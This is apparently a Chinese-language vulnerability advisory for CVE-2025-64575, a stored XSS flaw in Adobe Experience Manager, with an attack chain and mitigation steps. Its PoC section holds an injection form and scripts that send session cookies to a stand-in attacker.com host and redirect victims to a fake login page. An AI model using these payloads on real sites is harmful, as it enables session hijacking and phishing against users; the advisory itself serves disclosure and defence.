CVE-2025-64575 Adobe Experience Manager存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-64575

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64575是Adobe Experience Manager中的一个存储型跨站脚本（Stored XSS）漏洞。该漏洞影响6.5.23及更早版本，CVSS评分为5.4（中危）。攻击者利用该漏洞可以通过低权限账户在表单字段中注入恶意JavaScript代码。当受害者浏览包含恶意脚本的页面时，脚本将在其浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全问题。由于是存储型XSS，恶意脚本会永久保存在服务器端，影响所有访问该页面的用户。Adobe已发布安全更新修复此漏洞，建议用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞为存储型XSS（Stored Cross-Site Scripting）漏洞，存在于Adobe Experience Manager的表单处理模块中。攻击流程如下：1）低权限攻击者访问存在漏洞的表单字段；2）攻击者在表单输入中注入恶意JavaScript代码，如：<script>alert(document.cookie)</script>；3）恶意代码被存储在服务器数据库中；4）当其他用户访问包含该字段的页面时，服务器从数据库读取并返回恶意脚本；5）受害者浏览器执行恶意脚本，导致Cookie窃取、会话劫持或重定向到钓鱼站点。由于Adobe Experience Manager的表单组件缺乏充分的输入验证和输出编码，恶意脚本得以绕过安全过滤并成功存储和执行。修复方案需要在数据入库前进行严格的输入验证，并在数据输出时进行正确的HTML编码。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标Adobe Experience Manager版本，确认版本号<=6.5.23

STEP 2

初始访问

攻击者以低权限用户身份登录Adobe Experience Manager系统

STEP 3

漏洞利用

在表单字段中注入恶意JavaScript代码，如<script>alert(document.cookie)</script>

STEP 4

持久化

恶意脚本被存储在服务器数据库中，永久保存在受影响页面

STEP 5

触发阶段

受害者访问包含恶意脚本的页面，浏览器自动执行注入的JavaScript代码

STEP 6

数据窃取

恶意脚本窃取用户Cookie、会话令牌或其他敏感信息并发送到攻击者服务器

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<form action="https://target-aem.com/content/forms/af/submit" method="POST"> <input type="text" name="name" value='"><script>alert(document.cookie)</script>'> <input type="text" name="email" value='[email protected]"> <button type="submit">Submit</button> </form>  <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies); // Alternative: Send to attacker-controlled endpoint fetch('https://attacker.com/exfil?data=' + btoa(document.cookie)); </script>  <script> // Redirect users to phishing page if (!sessionStorage.getItem('redirected')) { sessionStorage.setItem('redirected', 'true'); window.location.href = 'https://attacker.com/fake-login'; } </script>

影响范围

Adobe Experience Manager <= 6.5.23

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）对所有用户输入实施严格的输入验证，限制允许的字符类型；2）在输出时对用户提交的内容进行HTML实体编码；3）配置Content-Security-Policy响应头限制内联脚本执行；4）限制低权限用户对表单字段的编辑权限；5）启用AEM的XSS保护过滤器；6）对关键页面实施额外的安全监控和日志审计。